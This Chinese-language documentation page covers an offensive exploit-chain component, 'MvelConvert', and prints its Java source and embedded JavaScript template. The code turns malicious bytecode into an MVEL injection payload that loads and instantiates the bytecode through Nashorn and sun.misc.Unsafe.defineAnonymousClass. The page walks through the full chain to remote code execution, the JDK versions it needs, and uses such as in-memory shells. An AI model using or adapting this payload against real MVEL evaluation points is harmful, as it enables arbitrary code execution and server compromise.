- 类别:common 别名:— 优先级:—
- 作者:—
- 依赖:
mvel
把下游产出的 byte[] 字节码转换成一段 MVEL 表达式字符串——该表达式内部再嵌套一段 JS 脚本,通过 ScriptEngineManager 的 js 引擎用 Unsafe.defineAnonymousClass 加载并实例化任意字节码。即在 MVEL 注入场景下实现「任意字节码加载 → RCE」的编码转换环。
- 入口
tags:Mvel_Expr、Expression—— 产出 MVEL 表达式文本。 - 衔接
nextTags:BytecodeConvertTag—— 之后(链更内层)需接一个产出byte[]字节码的转换器 sink(如 BytecodeConvert 承载 Exec 生成的恶意类字节码)。 excludes:无。
本类实现 Gadget,invoke 会先向内构建链、取回字节码,再包装成 MVEL 表达式:
public class MvelConvert implements Gadget {
public static String mvelTemplate =
"new javax.script.ScriptEngineManager().getEngineByName(\"js\").eval(\"" + JsConvert.jsTemplate + "\");";
public String getObject(byte[] bytes) {
String bytecodeB64 = Base64.encodeBase64String((byte[])bytes);
return String.format(mvelTemplate, bytecodeB64);
}
@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
return this.getObject((byte[])chain.doCreate(context));
}
}invoke调用chain.doCreate(context)取回内层字节码(byte[],由下游BytecodeConvertTag构件产出),交给getObject。getObject先把字节码 Base64 编码,再填入mvelTemplate。
mvelTemplate 本身是一段 MVEL:
new javax.script.ScriptEngineManager().getEngineByName("js").eval("<JS脚本>");
——即 MVEL 负责实例化 js 脚本引擎并 eval 一段 JS。内嵌的 JS 脚本来自 JsConvert.jsTemplate:
// JsConvert.jsTemplate(被 MvelConvert 复用)
"var s = '%s';var bt;try {bt = java.lang.Class.forName('sun.misc.BASE64Decoder').newInstance().decodeBuffer(s);}"
+ " catch (e) {bt = java.util.Base64.getDecoder().decode(s);}"
+ "var theUnsafeField = java.lang.Class.forName('sun.misc.Unsafe').getDeclaredField('theUnsafe');"
+ "theUnsafeField.setAccessible(true);unsafe = theUnsafeField.get(null);"
+ "unsafe.defineAnonymousClass(java.lang.Class.forName('java.lang.Class'), bt, null).newInstance();"该 JS 在目标端做三件事:把 Base64 还原为字节码 bt(先试 sun.misc.BASE64Decoder,失败回退 java.util.Base64)→ 反射拿到 sun.misc.Unsafe.theUnsafe 单例 → 调用 Unsafe.defineAnonymousClass(...) 直接从字节码定义匿名类并 newInstance()。newInstance() 触发恶意类的静态块/构造器,从而执行内置逻辑(通常是 Exec 的 ProcessBuilder 命令执行)。
因此整条内→外为:Exec 产字节码 → BytecodeConvert 转 byte[] → MvelConvert 包成 MVEL 表达式 → 目标 MVEL 求值点执行。description 所述「内部使用 js 引擎来实现加载字节码」正指这层 MVEL→JS→Unsafe 的嵌套加载。
本类无独立 @Param;字节码来源由链上游(BytecodeConvertTag 构件)提供。
- 依赖
mvel表达式引擎,需目标存在可控 MVEL 求值点。 - 关键前提:目标 JDK 须内置可用的 js 脚本引擎(Nashorn)。参照被复用的
JsConvert,其适用范围为 8 <= jdk <= 14——jdk15 起 Nashorn 被移除,getEngineByName("js")返回 null 而失效;Java 6/7 引擎为 Rhino,细节有别。 Unsafe.defineAnonymousClass属内部 API,高版本 JDK 对其可用性亦有收敛,实战以 8~14 最稳。- 相比直接命令执行,本路径可加载任意字节码(回显/内存马等),灵活性更高。
自由构件,未直接出现在预设链(usedInChains 为空)。
- 下游(
nextTags=BytecodeConvertTag):BytecodeConvert → Exec 等字节码 sink。 - 同族(同为
Expression字节码转换器):OnglConvert(OGNL 版)、JsConvert(纯 JS 版,被本类复用)。 - 同为 MVEL sink:MvelExec、MvelConnectTest。